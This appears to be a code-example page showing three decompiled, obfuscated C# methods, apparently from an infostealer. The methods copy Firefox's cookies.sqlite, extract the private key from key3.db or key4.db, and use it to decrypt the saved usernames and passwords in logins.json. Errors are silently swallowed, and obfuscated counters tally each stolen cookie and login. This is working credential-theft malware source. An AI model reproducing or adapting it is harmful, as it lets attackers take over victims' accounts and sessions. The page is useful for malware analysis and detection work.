Example #1
0
        // Token: 0x060001D6 RID: 470 RVA: 0x0000FB58 File Offset: 0x0000DD58
        private static List <Class_66> ParseCookies(string profile)
        {
            List <Class_66> list = new List <Class_66>();

            try
            {
                string text = Path.Combine(profile, "cookies.sqlite");
                if (!File.Exists(text))
                {
                    return(list);
                }
                Class_108 class_ = new Class_108(Class_69.CreateTempCopy(text));
                class_.smethod_400("moz_cookies");
                for (int i = 0; i < class_.prop_3; i++)
                {
                    Class_66 class_2 = null;
                    try
                    {
                        class_2 = new Class_66
                        {
                            prop_0 = class_.pmethod_399(i, "host").Trim(),
                            prop_1 = (class_.pmethod_399(i, "isSecure") == "1"),
                            prop_2 = class_.pmethod_399(i, "path").Trim(),
                            prop_3 = (class_.pmethod_399(i, "isSecure") == "1"),
                            prop_4 = class_.pmethod_399(i, "expiry").Trim(),
                            prop_5 = class_.pmethod_399(i, "name").Trim(),
                            prop_6 = class_.pmethod_399(i, "value")
                        };
                        Class_78.\u036B\u034B\u031F\u031D\u0E47\u031C\u0301\u034E\u0353\u0306\u0347\u033D\u0331\u0353\u0343\u0020hupvdimgmomeaylzst\u0303\u035D\u033F\u035B\u0309\u0020\u032E\u032F\u0348\u0359\u034B\u0020\u0489\u035Blscnvhohzjystpki++;
                    }
                    catch
                    {
                    }
                    if (class_2 != null)
                    {
                        list.Add(class_2);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Example #2
0
        // Token: 0x060001D7 RID: 471 RVA: 0x0000FCE8 File Offset: 0x0000DEE8
        private static List <Class_68> ParseLogins(string profile, byte[] privateKey)
        {
            List <Class_68> list = new List <Class_68>();

            try
            {
                string path = Class_69.CreateTempCopy(Path.Combine(profile, "logins.json"));
                if (!File.Exists(path))
                {
                    return(list);
                }
                foreach (object obj in ((IEnumerable)File.ReadAllText(path).FromJSON().tmethod_322("logins")))
                {
                    Class_103 class_  = (Class_103)obj;
                    Class_62  class_2 = Class_61.Create(Convert.FromBase64String(class_.tmethod_322("encryptedUsername").gmethod_333(false)));
                    Class_62  class_3 = Class_61.Create(Convert.FromBase64String(class_.tmethod_322("encryptedPassword").gmethod_333(false)));
                    string    text    = Regex.Replace(Class_50.Decrypt(privateKey, class_2.prop_3[0].prop_3[1].prop_3[1].prop_1, class_2.prop_3[0].prop_3[2].prop_1, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    string    text2   = Regex.Replace(Class_50.Decrypt(privateKey, class_3.prop_3[0].prop_3[1].prop_3[1].prop_1, class_3.prop_3[0].prop_3[2].prop_1, PaddingMode.PKCS7), "[^\\u0020-\\u007F]", string.Empty);
                    Class_68  class_4 = new Class_68
                    {
                        prop_0 = (string.IsNullOrEmpty(class_.tmethod_322("hostname").gmethod_333(false)) ? "UNKNOWN" : class_.tmethod_322("hostname").gmethod_333(false)),
                        prop_1 = (string.IsNullOrEmpty(text) ? "UNKNOWN" : text),
                        prop_2 = (string.IsNullOrEmpty(text2) ? "UNKNOWN" : text2)
                    };
                    if (class_4.prop_1 != "UNKNOWN" && class_4.prop_2 != "UNKNOWN" && class_4.prop_0 != "UNKNOWN")
                    {
                        list.Add(class_4);
                        Class_78.\u0340\u035A\u0020\u0020\u0320\u034E\u035Ct\u033C\u030C\u0361\u0329\u0338\u0342\u032E\u0E47vktldwvagjgorsqs\u0020\u033F\u0339\u0020\u0342\u0489\u0342\u0342\u0309\u0308\u0358\u0348\u0329\u035C\u0310ixunljsevrvauyudk++;
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Example #3
0
        // Token: 0x060001D5 RID: 469 RVA: 0x0000FAB0 File Offset: 0x0000DCB0
        private static List <Class_68> GetCredentials(string profile)
        {
            List <Class_68> list = new List <Class_68>();

            try
            {
                if (File.Exists(Path.Combine(profile, "key3.db")))
                {
                    list.AddRange(Class_78.ParseLogins(profile, Class_78.GetPrivate3Key(Class_69.CreateTempCopy(Path.Combine(profile, "key3.db")))));
                }
                if (File.Exists(Path.Combine(profile, "key4.db")))
                {
                    list.AddRange(Class_78.ParseLogins(profile, Class_78.GetPrivate4Key(Class_69.CreateTempCopy(Path.Combine(profile, "key4.db")))));
                }
            }
            catch
            {
            }
            return(list);
        }